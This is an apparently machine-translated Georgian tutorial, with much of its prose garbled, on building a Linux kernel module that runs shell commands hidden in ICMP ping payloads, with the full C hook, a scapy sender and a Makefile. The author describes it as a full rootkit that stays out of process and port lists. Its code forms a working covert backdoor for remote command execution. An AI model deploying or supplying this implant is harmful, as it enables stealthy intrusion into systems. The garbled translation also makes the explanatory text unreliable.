TL; DR: แแ แแฌแแ แแแ แแแแก แแแแฃแแก, แ แแแแแแช แฌแแแแแแฎแแแก แแ แซแแแแแแแก ICMP แแแขแแแ แแแแแแ แแ แจแแแกแ แฃแแแแก แแแ แกแแ แแแ แแ แแแจแแแแช แแ, แแฃ แแฅแแแแ SSH แแแแ แแฃแแแ. แงแแแแแแ แแแฃแแแแแแแแแกแแแแก, แงแแแแ แแแแ แแ แแก
แกแแคแ แแฎแแแแ! แแแแแชแแแแ C แแ แแแ แแแแกแขแแแ แ แแกแแแแก แกแแกแฎแแแก แชแ แแแแแแแ แแแแแแแแก! แจแแแซแแแแ แขแแ แแแแแแแแแแจแแช แแ แแชแแแแ, แแแแ แแ แแแแแกแแแแ แ แแ แแขแแแ แแแกแแกแแแแแแแแแ. แแแกแขแ แแแแแฃแแแแแแแ แแแแแแแก, แแแกแแช แแฅแแก แซแแแแแ แฃแฎแแจแ แฌแแ แแแแแแแ C แแ แแแ แแแแ แแแแก แจแแกแแฎแแ แแ แกแฃแ แก แจแแแกแฌแแแแแก Linux-แแก แจแแแแแ.
แฉแแแ แแแ แแแแแก แแแแแแขแแ แแแจแ
แแแแฎ, 2020 แฌแแแก แแแแแแ, แ แแ แจแแแแซแแแแ แแแแแแแแฃแ แ แแแขแแแ แแแแก แฉแแกแแ ICMP แแแแแขแแแจแ. แแแแ แแ แกแฏแแแก แแแแแ แแแแ แ แแ แแกแแ แแก! แแ แ แแแแแแแช แจแแแซแแแแ แ แแฆแแชแแก แแแแแแแแ, แแแจแแ แแก แฃแแแ แแแแแแแแก. แแแก แจแแแแแ, แ แแช แฉแแแก แงแแแแแแฆแแฃแ แชแฎแแแ แแแแจแ แงแแแแแแ แฎแจแแ แแ แแแงแแแแ แแ แซแแแแแแก แฎแแแก, แแแ แจแแ แแก SSH-แแก แกแแจแฃแแแแแแ, แแแ แแแแ ICMP แญแฃแ แแแก แแแแ แแแแแฉแแแ. แแ แแแแกแแแแแก, แ แแ แจแแแแฅแแแ แกแ แฃแแ bullshield แแแแแ, แแแแแแฌแงแแแขแ แแแแแฌแแ แ แแก Linux แแแแฃแแแก แกแแฎแแ แแ แแแแแ, แ แแแแแแแช แแฎแแแแ แฃแฎแแจแ แฌแแ แแแแแแแ แแแฅแแก. แแกแแแ แญแฃแ แแ แแ แแฅแแแแ แฎแแแฃแแ แแ แแชแแกแแแแก แกแแแจแ, แจแแแแซแแแแ แฉแแขแแแ แแแ แแก แแแ แแแจแ แแ แแ แแฅแแแแ แคแแแแฃแ แกแแกแขแแแแจแ, แแแ แแคแแ แก แแแฎแแแ แกแแแญแแแก แแแกแแกแแแ แแแ แขแแแแก แกแแแจแ. แแแกแ แจแแกแแซแแแแแแแแแแก แแแแแกแแแ แแกแแ, แแก แแ แแก แกแ แฃแแคแแกแแแแแ rootkit, แแแแ แแ แแแแแแแแแแ, แ แแ แแแแแฃแแฏแแแแกแแ แแ แแแแแแแงแแแแ, แ แแแแ แช แแแแ แแแกแขแ แฃแแแแขแก, แ แแแแกแแช แแแขแแแ แแแแก แกแแจแฃแแแ แซแแแแแ แแแฆแแแแ SSH-แแ แจแแกแแแแกแแแแก แแ แแแแแแฃแ แจแแกแแกแ แฃแแแแแแ. echo i > /proc/sysrq-trigger
แฌแแแแแแก แแฆแแแแแ แแแแแขแแแ แแแแก แแแ แแจแ.
แแแฆแแแ แขแแฅแกแขแแก แ แแแแฅแขแแ แก, แแ แแแ แแแแ แแแแก แซแแ แแแแ แฃแแแ แแแก Python-แจแ แแ C-แจแ, Google-แจแ แแ
แแแแแแขแแก แแฎแแ แ
แแแฉแแแแแแแแ, แ แแ แแแแแแขแแก แแแฌแแแแกแแแแก แแแแแฌแแแแ 80 แกแขแ แแฅแแแแแแ แกแชแแแแ แแก แแแฌแแ แ, แแแแ แแ แแงแแแแ แแแแแแ แแแแแแแแแแ, แ แแแแแแแแช แแก แแแแแแแแก แฉแแแแแแก
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "command"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show()
แกแแ แแแขแ แแฆแแแก แแ แแ แแฃแแแแขแก, แแแกแแแแ แแก แแ แแแขแแแ แแแแก. แแแแแแแแแแแ แแแขแแแ แแแแก แฌแแ แฃแซแฆแแแก แแแกแแฆแแแ run:
, แฉแแแ แแแแแญแแ แแแแ แจแแแแฎแแแแแแ แแแขแแแ แแแแก แแฅแแแ แแแแแขแแแแก แแแแแกแแ แแชแฎแแ.
แแแ แแแ แแแแแฎแแแก แแ แแแแแแแแแแก แแแแแขแแแแก แจแแกแแฅแแแแแแ, แแแแขแแ แกแแ แแแขแ แฃแแแ แแงแแก แแแจแแแแฃแแ แ แแแแ แช แกแฃแแแ แแแแฎแแแ แแแแแ. แแ แแแแแแแฌแงแแแ แจแแกแ แฃแแแแแก แแแแแ แแแแแแก แแแชแแแ แแ แแแแแ scapy-แแก แแแกแขแแแแชแแ. Debian-แก แแฅแแก แแแแแขแ แ.แฌ python3-scapy
. แแฎแแ แแฅแแแ แจแแแแซแแแแ แจแแแแแฌแแแ แ แแแแ แแฃแจแแแแก แแก แงแแแแแคแแ แ.
แแ แซแแแแแแก แแแจแแแแ แแ แแแแแขแแแ
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!
แแกแ แแแแแแงแฃแ แแแ แกแแแคแแ แจแ
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1]
[Response time: 19.094 ms]
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
^C2 packets captured
แกแแแแกแฃแฎแ แแแแแขแจแ แแแขแแแ แแแ แแ แแชแแแแแ.
แแแ แแแแก แแแแฃแแ
Debian แแแ แขแฃแแแฃแ แแแแฅแแแแจแ แฉแแกแแ แแแแแ แแแแญแแ แแแแแ แแแแแแฃแ make
ะธ linux-headers-amd64
, แแแแแ แฉแแแ แแแแแแแแแแฃแแแแแก แกแแฎแแ แแแแ. แกแขแแขแแแจแ แกแ แฃแ แแแแก แแ แแแแแฌแแแแแ; แแแกแ แแแแแแ แแแ แจแแแแซแแแแ Github-แแ.
แฐแฃแแแก แแแงแแแแแ
แแแกแแฌแงแแกแแกแแแแก, แฉแแแ แแแญแแ แแแแ แแ แ แคแฃแแฅแชแแ แแแแฃแแแก แฉแแขแแแ แแแแกแ แแ แแแแขแแแ แแแแกแแแแก. แแแแขแแแ แแแแก แคแฃแแฅแชแแ แแ แแ แแก แกแแญแแ แ, แแแแ แแ แจแแแแแ rmmod
แแก แแ แแแฃแจแแแแแก; แแแแฃแแ แแแแแขแแแ แแแแ แแฎแแแแ แแแแแ แแแแกแแก.
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);
แฒ แ แฎแแแแ แแฅ:
- แแ แ แกแแแแฃแ แแก แคแแแแ แจแแงแแแแแแแ แแแแแ แแแแฃแแแกแ แแ แฅแกแแแแก แคแแแขแ แแก แแแแแแฃแแแ แแแแกแแแแก.
- แงแแแแ แแแแ แแชแแ แแแแแก แฅแกแแแแก แคแแแขแ แจแ, แจแแแแซแแแแ แแแแงแแแแ แแแแแแแ แแแกแจแ. แแแแกแแแแแก แแฅแแแ แฃแแแ แแแแแแชแฎแแแแ แกแขแ แฃแฅแขแฃแ แ, แ แแแแแจแแช แแแแแแคแแแฃแ แแ แแแฃแแ แแฅแแแแ แแแแแแ. แงแแแแแแ แแแแจแแแแแแแแแ แแก แแ แแก, แ แแ แแแฃแแแแแ แคแฃแแฅแชแแ, แ แแแแแแช แจแแกแ แฃแแแแแ แแแฃแญแแก แกแแฎแแ:
nfho.hook = icmp_cmd_executor;
แแแแแ แคแฃแแฅแชแแแก แแแแแแแแแแแ แจแแแแฎแแแ.
แจแแแแแ แแแแแงแแแ แแแแแขแแก แแแแฃแจแแแแแแก แแ แ:NF_INET_PRE_ROUTING
แแแแกแแแฆแแ แแแก แแแแแขแแก แแแแฃแจแแแแแแก, แ แแแแกแแช แแก แแแ แแแแแ แแแแแฉแแแแแ แแแ แแแจแ. แแแแแงแแแแแ แจแแกแแซแแแแแแแNF_INET_POST_ROUTING
แแแแแขแแก แแแแฃแจแแแแแ แแแ แแแแแแ แแแกแแแแกแแก.
แแ แแแแแงแแแ แคแแแขแ แ IPv4-แแ:nfho.pf = PF_INET;
.
แแ แฉแแแก แแแฃแญแก แฃแแแฆแแแก แแ แแแ แแขแแขแก แแแแแญแแ:nfho.priority = NF_IP_PRI_FIRST;
แแ แแ แแแแ แแแแกแขแ แแ แแ แแแแแชแแแแ แกแขแ แฃแฅแขแฃแ แแก, แ แแแแ แช แคแแฅแขแแแ แแ แฐแฃแแก:nf_register_net_hook(&init_net, &nfho);
- แกแแแแแแ แคแฃแแฅแชแแ แฎแกแแแก แแแแก.
- แแแชแแแแแ แแแแคแแแ แแ แแก แแแแแแแแฃแแ, แ แแ แจแแแแแแแแแ แแ แฃแฉแแแแแก.
- แคแฃแแฅแชแแแแ
module_init()
ะธmodule_exit()
แแแแงแแแแ แกแฎแแ แคแฃแแฅแชแแแแ แแแแฃแแแก แแแแชแแแแแแแชแแแกแ แแ แจแแฌแงแแแขแแกแแแแก.
แแแขแแแ แแแแก แแแแแแแแ
แแฎแแ แฉแแแ แแแญแแ แแแแ แขแแแ แแแก แแแแฆแแแ, แแก แงแแแแแแ แ แแฃแแ แแแแชแแแ แแฆแแแฉแแแ. แแแ แแแก แแ แแฅแแก แฉแแจแแแแแฃแแ แคแฃแแฅแชแแแแ แแแขแแแ แแแแกแแแ แแฃแจแแแแแกแแแแก; แจแแแแซแแแแ แแฎแแแแ แฃแคแ แ แแแฆแแแ แแแแแก แแ แแขแแแแแแแแก แกแแแแฃแ แแแแก แแแแแแแแแแแ.
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == '')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = '';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == '')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}
แฒ แ แฎแแแแ:
- แแ แแแแแฌแแ แแแแแขแแแแแ แกแแแแฃแ แแก แคแแแแแแแก แฉแแกแแ, แแแฏแแ แแ IP แแ ICMP แกแแแแฃแ แแแแก แแแแแแฃแแแ แแแแกแแแแก.
- แแ แแแแแงแแแ แฎแแแแก แแแฅแกแแแแแฃแ แ แกแแแ แซแ:
#define MAX_CMD_LEN 1976
. แ แแขแแ แแฃแกแขแแ แแก? แแแแขแแ แ แแ แจแแแแแแแแแ แฉแแแแก! แแแ แฃแแแ แจแแแแแแแแแแแก, แ แแ แฃแแแ แแแแแแ แกแขแแแ แแ แแ แแแ, แแแแกแแ แแแแก แแฃแชแแแแแแแ แแแแแแแแแ แแ แจแแกแแซแแแ แแแแแช แแแแแแแกแฌแแ แ. แแ แแแจแแแแ แแแแแงแแแ แฎแแแ, แ แแแแแแช แจแแแชแแแก แแ แซแแแแแแก:char cmd_string[MAX_CMD_LEN];
. แแก แฃแแแ แแงแแก แฎแแแฃแแ แงแแแแ แคแฃแแฅแชแแแ; แแแแก แจแแกแแฎแแ แฃแคแ แ แแแขแแแฃแ แแ แแ-9 แแฃแแฅแขแจแ แแแกแแฃแแ แแ. - แแฎแแ แฉแแแ แแแญแแ แแแแ แแแแชแแแแแแแชแแ (
struct work_struct my_work;
) แกแขแ แฃแฅแขแฃแ แ แแ แแแแแแแจแแ แแ แแแ แกแฎแแ แคแฃแแฅแชแแแกแแแ (DECLARE_WORK(my_work, work_handler);
). แแ แแกแแแ แแแกแแฃแแ แแ แแแแแ, แแฃ แ แแขแแ แแ แแก แแก แแฃแชแแแแแแแ แแแชแฎแ แ แแแแแชแจแ. - แแฎแแ แแแชแฎแแแแ แคแฃแแฅแชแแแก, แ แแแแแแช แแฅแแแแ hook. แขแแแ แแ แแแฆแแแฃแแ แแ แแฃแแแแขแแแ แแแแแ แแแฎแแแแ netfilter-แแก แแแแ , แฉแแแ แแฎแแแแ แแแแแแขแแ แแกแแแก
skb
. แแก แแ แแก แกแแแแขแแก แแฃแคแแ แ, แแแแแชแแแแ แคแฃแแแแแแแขแฃแ แ แกแขแ แฃแฅแขแฃแ แ, แ แแแแแแช แจแแแชแแแก แงแแแแ แแ แกแแแฃแ แแแคแแ แแแชแแแก แแแแแขแแก แจแแกแแฎแแ. - แแแแกแแแแแก, แ แแ แคแฃแแฅแชแแ แแแฃแจแแแก, แแแแญแแ แแแแแ แแ แ แกแขแ แฃแฅแขแฃแ แ แแ แ แแแแแแแแ แชแแแแแ, แแแ แจแแ แแก แแ แ แแขแแ แแขแแ แ.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0;
- แจแแแแแซแแแ แแแแแฌแงแแ แแแแแแแ. แแแแกแแแแแก, แ แแ แแแแฃแแ แแแฃแจแแแก, ICMP Echo-แก แแแ แแ แกแฎแแ แแแแแขแแแ แแ แแ แแก แกแแญแแ แ, แแแแขแแ แฉแแแ แแแแแแแแแแแ แแฃแคแแ แก แฉแแจแแแแแฃแแ แคแฃแแฅแชแแแแแก แแแแแงแแแแแแ แแ แแงแ แแ แงแแแแ แแ แ-ICMP แแ แแ แ Echo แแแแแขแก. แฒแแแ แฃแแแแแก
NF_ACCEPT
แแแจแแแแก แแแแแขแแก แแแฆแแแแก, แแแแ แแ แแฅแแแ แแกแแแ แจแแแแซแแแแ แฉแแแแแแแแ แแแแแขแแแ แแแแ แฃแแแแแNF_DROP
.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }
แแ แแ แแแแแแแชแแแ แ แ แแแฎแแแแ IP แกแแแแฃแ แแแแก แจแแแแฌแแแแแก แแแ แแจแ. แฉแแแ แแแแแแแแฃแ แ แชแแแแ C-แแ แแแฃแแแแแ, แ แแ แแแแแขแแแแแ แจแแแแฌแแแแแก แแแ แแจแ, แ แแฆแแช แกแแจแแแแแแแ แแฃแชแแแแแแแ แแแฎแแแแ. แแแฎแแ แฃแแ แแแฅแแแแ, แแฃ แแแแจแ แแแแก แแแแแแแแแแ!
- แแฎแแ, แ แแแแกแแช แแแแแขแ แแ แแก แแฃแกแขแแ แแ แขแแแแก, แ แแแแแแช แแญแแ แแแแแ, แจแแแแซแแแแ แแแแแชแแแแแแก แแแแฆแแแ. แฉแแจแแแแแฃแแ แคแฃแแฅแชแแแก แแแ แแจแ, แแฅแแแ แฏแแ แฃแแแ แแแแฆแแ แแแฉแแแแแแแแ แแแขแแแ แแแแก แแแกแแฌแงแแกแจแ. แแก แแแแแแแ แแ แ แแแแแแแก, แแฅแแแ แฃแแแ แแแฆแแ แแแฉแแแแแแแแ ICMP แกแแแแฃแ แแก แแแกแแฌแงแแกแจแ แแ แแแแแแขแแแแ แแแ แแ แกแแแแฃแ แแก แแแแแแ. แงแแแแแคแแ แ แแงแแแแแก แกแขแ แฃแฅแขแฃแ แแก
icmph
:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
แกแแแแฃแ แแก แแแแ แฃแแแ แแแแฎแแแแแแก แแแขแแแ แแแแก แแแกแแกแ แฃแแกskb
แแแจแแกแแแแแ, แแแก แแแฆแแแ แแแ แแแฃแแ แกแแจแฃแแแแแแแแก แแแแแงแแแแแแ แจแแกแแแแแแกแ แกแขแ แฃแฅแขแฃแ แแแแ:tail = skb_tail_pointer(skb);
.
แกแฃแ แแแ แแแแแแ แแกแแฅแแแแ แแแแแแแแแแ แ, , แจแแแแซแแแแ แแแขแ แฌแแแแแแฎแแ แกแแแแขแแก แแฃแคแแ แแก แจแแกแแฎแแ. - แ แแแแกแแช แแฅแแแ แแแฅแแแแแ แแแฉแแแแแแแแแ แแแกแแฌแงแแกแแกแ แแ แแแกแแกแ แฃแแแกแแแ, แจแแแแซแแแแ แแแแแแแแ แแ แแแแแชแแแแแ แกแขแ แแฅแแแจแ
cmd_string
, แจแแแแแฌแแแ แแแ แแ แแคแแฅแกแแก แแ แกแแแแแแกแแแแกrun:
แแ, แแ แแแแแแแแแ แแแแแขแ, แแฃ แแก แแแแแ, แแ แแแแแฌแแ แแ แฎแแแ แฎแแแแฎแแ, แแ แแ แแคแแฅแกแแก แแแแฆแแแแ. - แแก แงแแแแแคแแ แ, แแฎแแ แจแแแแซแแแแ แกแฎแแ แแแแแฃแจแแแแแแแก แแแ แแแแ:
schedule_work(&my_work);
. แแแแแแแแ แจแแฃแซแแแแแแ แแฅแแแแ แแแ แแแแขแ แแก แแแแแชแแแ แแกแแ แแแ แแ, แแ แซแแแแแแก แฎแแแ แฃแแแ แแงแแก แแแแแแแฃแ แ.schedule_work()
แแแแแแแแกแแแก แแแแแแ แกแขแ แฃแฅแขแฃแ แแกแแแ แแแแแแจแแ แแแฃแ แคแฃแแฅแชแแแก แแแแแแแแแก แแแแ แแแแก แแแแแ แแแฃแ แ แแแจแ แแ แแแแกแ แฃแแแแก, แ แแช แกแแจแฃแแแแแแก แแแแชแแแ แแ แแแแแแแแ แแ แซแแแแแแก แแแกแ แฃแแแแแก. แแก แแฃแชแแแแแแแแ, แ แแแแแ แแแแแแ แฃแแแ แแงแแก แซแแแแแ แกแฌแ แแคแ. แฌแแแแแฆแแแแ แจแแแแฎแแแแแจแ, แแฅแแแแ แแ แฉแแแแแแ, แ แแ แแ แแคแแ แ แแแแฌแงแแก แแ แแฅแแแ แแแฅแแแแแ แแแ แแแแก แแแแแแ. แแแแแแแแแแ แกแแแแแแแก แฐแแแแก! - แแก แแ แแก แแก, แจแแแแซแแแแ แแแแฆแแ แแแแแขแ แจแแกแแแแแแกแ แแแแ แฃแแแแแ.
แแ แแแ แแแแก แแแแแซแแฎแแแ แแแแฎแแแ แแแแแแ แกแแแ แชแแจแ
แแก แคแฃแแฅแชแแ แงแแแแแแ แแแกแแแแแแ. แแแกแ แกแแฎแแแ แแแแแแญแ DECLARE_WORK()
, แขแแแ แแ แแแฆแแแฃแแ แแ แแฃแแแแขแแแ แแ แแ แแก แกแแแแขแแ แแกแ. แฉแแแ แแแฆแแแ แฎแแแก แแ แซแแแแแแ แแ แแแแแแชแแแ แแแก แแแแแแแแ แแแ แกแแ. แแแ, แแแก แแแฃแแแแแแแแก แแแแแแแก, แแแแแ แแแแก แซแแแแแก แแ แกแฎแแ แงแแแแแคแแ แก.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}
- แแแแงแแแแ แแ แแฃแแแแขแแแ แกแขแ แแฅแแแแแแก แแแกแแแแ
argv[]
. แแ แแแแแ แแฃแแแ, แ แแ แงแแแแแ แแชแแก, แ แแ แแ แแแ แแแแแ แ แแแแฃแ แแ แจแแกแ แฃแแแแฃแแแ แแ แแแแ แแ แแ แ แ แแแแ แช แฃแฌแงแแแขแ แฎแแแ แกแแแ แชแแแแแ. - แแแ แแแแก แชแแแแแแแแก แแแงแแแแแ. แแ แฉแแแแ แแฎแแแแ PATH แแแแแแแแแก แแแแแแแแฃแ แ แแแแ แแแแ, แแ แแแแแแ, แ แแ แแกแแแ แฃแแแ แแแแ แแแแแแแฃแแ แแงแ
/bin
ั/usr/bin
ะธ/sbin
ั/usr/sbin
. แกแฎแแ แแแแแก แแ แแฅแขแแแแจแ แแจแแแแแแ แแฅแแก แแแแจแแแแแแแ. - แแแกแ แฃแแแแฃแแแ, แแแแแ แแแแแแแแแ! แแแ แแแแก แคแฃแแฅแชแแ
call_usermodehelper()
แแฆแแแก แจแแกแแแแก. แแแ แแแแแ แแแแ, แแ แแฃแแแแขแแแแก แแแกแแแ, แแแ แแแแก แชแแแแแแแแก แแแกแแแ. แแฅ แแกแแแ แแแแ แแฃแแแ, แ แแ แงแแแแแก แแกแแแก แจแแกแ แฃแแแแแแ แคแแแแแก แแแแก แชแแแแ แแ แแฃแแแแขแแ แแแแแชแแแแก แแแแจแแแแแแแ, แแแแ แแ แจแแแแซแแแแ แแแแแฎแแ. แแแแ แแ แแฃแแแแขแ แแแแกแแแฆแแ แแแก, แแแแแแแแแ แแฃ แแ แ แแ แแชแแกแแก แแแกแ แฃแแแแแก (UMH_WAIT_PROC
), แแ แแชแแกแแก แแแฌแงแแแ (UMH_WAIT_EXEC
) แแ แกแแแ แแแ แแ แแแแแแแแแ (UMH_NO_WAIT
). แแแแแ แแ แแก แแแแแUMH_KILLABLE
, แแ แจแแแแฎแแแแแก.
แแกแแแแแแ
แแแ แแแแก แแแแฃแแแแแก แแฌแงแแแ แฎแแ แชแแแแแแแ แแแ แแแแก แแแแแแแแก แแแจแแแแแแ. แแแฃแ แแแ make
แแแ แแแแก แแแ แกแแแกแแแ แแแแแฃแแ แกแแแชแแแแฃแ แแแ แแฅแขแแ แแแจแ (แแแแกแแแฆแแ แฃแแ แแฅ: KERNELDIR:=/lib/modules/$(shell uname -r)/build
), แแ แแแแฃแแแก แแแแแแ แแแแ แแแแแแชแแแ แชแแแแแก M
แแ แแฃแแแแขแแแจแ. icmpshell.ko แแ แกแฃแคแแ แกแแแแแแแแแ แแแแแแแแ แแงแแแแแแ แแ แฉแแ แฉแแก. IN obj-m
แแแฃแแแแแแก แแแแแฅแขแแก แคแแแแแ, แ แแแแแแช แแแแแแฅแชแแแ แแแแฃแแแ. แกแแแขแแฅแกแ, แ แแแแแแช แแแแแแแแแแก main.o
ะฒ icmpshell.o
(icmpshell-objs = main.o
) แซแแแแแ แแแแแแฃแ แแ แแ แแแฉแแแแแแ, แแแแ แแ แแกแแช แแงแแก.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
all: icmpshell.ko
icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules
clean:
make -C $(KERNELDIR) M=$(PWD) clean
แฉแแแ แแแแ แแแแแ: make
. แฒฉแแขแแแ แแแ: insmod icmpshell.ko
. แแแกแ แฃแแแ, แจแแแแซแแแแ แจแแแแแฌแแแ: sudo ./send.py 45.11.26.232 "date > /tmp/test"
. แแฃ แแฅแแแ แแแฅแแ แคแแแแ แแฅแแแแก แแแแ แแขแแ /tmp/test
แแ แแก แจแแแชแแแก แแแแฎแแแแแก แแแแแแแแแก แแแ แแฆแก, แ แแช แแแจแแแแก, แ แแ แแฅแแแ แงแแแแแคแแ แ แกแฌแแ แแ แแแแแแแแ แแ แแ แงแแแแแคแแ แ แกแฌแแ แแ แแแแแแแแ.
แแแกแแแแ
แแแ แแแฃแแ แแแแแแแแ แแแแก แฉแแแ แแแ แแแแ แแแแแชแแแแแแ แแแแ แแ แฃแคแ แ แแแแแแ แแงแ, แแแแ แ แแแแแแ. C-แจแ แแแแแแแแ แแแแก แแแแแชแแแแแแแก แแแ แแจแแช, แแแแแแแแ แแก แแแแแจแแแแแแแ แแ แแฃแแแแก แจแแแแแแแแ แคแแแฃแกแแ แแแแก แแแ แแจแ, แแ แจแแแซแแแ แกแแแฃแจแแ แแแแฃแแแก แแแฌแแ แ แแ แแแแก แแแ แแแแก แฐแแแแ แแ แแ แแแแแ แแ แแก แกแแ แแแขแแก แแแแจแแแ แแแ แซแแแแแ. แแแ แแ แแแแกแ, แแแแแแ Kernel Newbies แแ แฎแแ, แกแแแแช แแแแฎแ แแก แแแแแแแงแแแแแแแ schedule_work()
แแแ แแแแแก แแแชแแแแ call_usermodehelper()
แแแแแ แแแแแแก แจแแแแแ แแ แจแแแ แชแฎแแแแ แแแ, แกแแแแ แแแแแแแ แแญแแแแแ แแแฆแแแแแแแจแ. แแแแแก แแกแ แฎแแแ แแแแแฏแแ แแแแแกแฃแคแแ แแ แแก แแแแแแแแ แแแแก แแแแฎแแแแแแ แแ แแ แแแแ แ. แฌแแ แแแขแแแฃแแ แแแแแชแแแแแแ, แ แแแแแแแช แแแแแแแแฃแ แ แฉแแแ แแแ แแแ แแแแ แกแแกแขแแแแก แแแแแแแแ แแแแก แแแกแแแฃแขแฃแ แ แกแแ แแฃแแแก แจแแกแแฎแแ.
แแฃ แแแแแ แแแแแฎแแแ Github-แแ แแแแแก แแแแฎแแแแแแ, แแแแแแแแแ แแแฅแแแแ. แแแ แฌแแฃแแแแฃแแ แแแ , แแแแ แ แกแฃแแแแฃแ แ แจแแชแแแแ แแแแฃแจแแ, แแแแกแแแฃแแ แแแแ แกแแแแแแ แแฃแจแแแแแกแแก.
แฌแงแแ แ: www.habr.com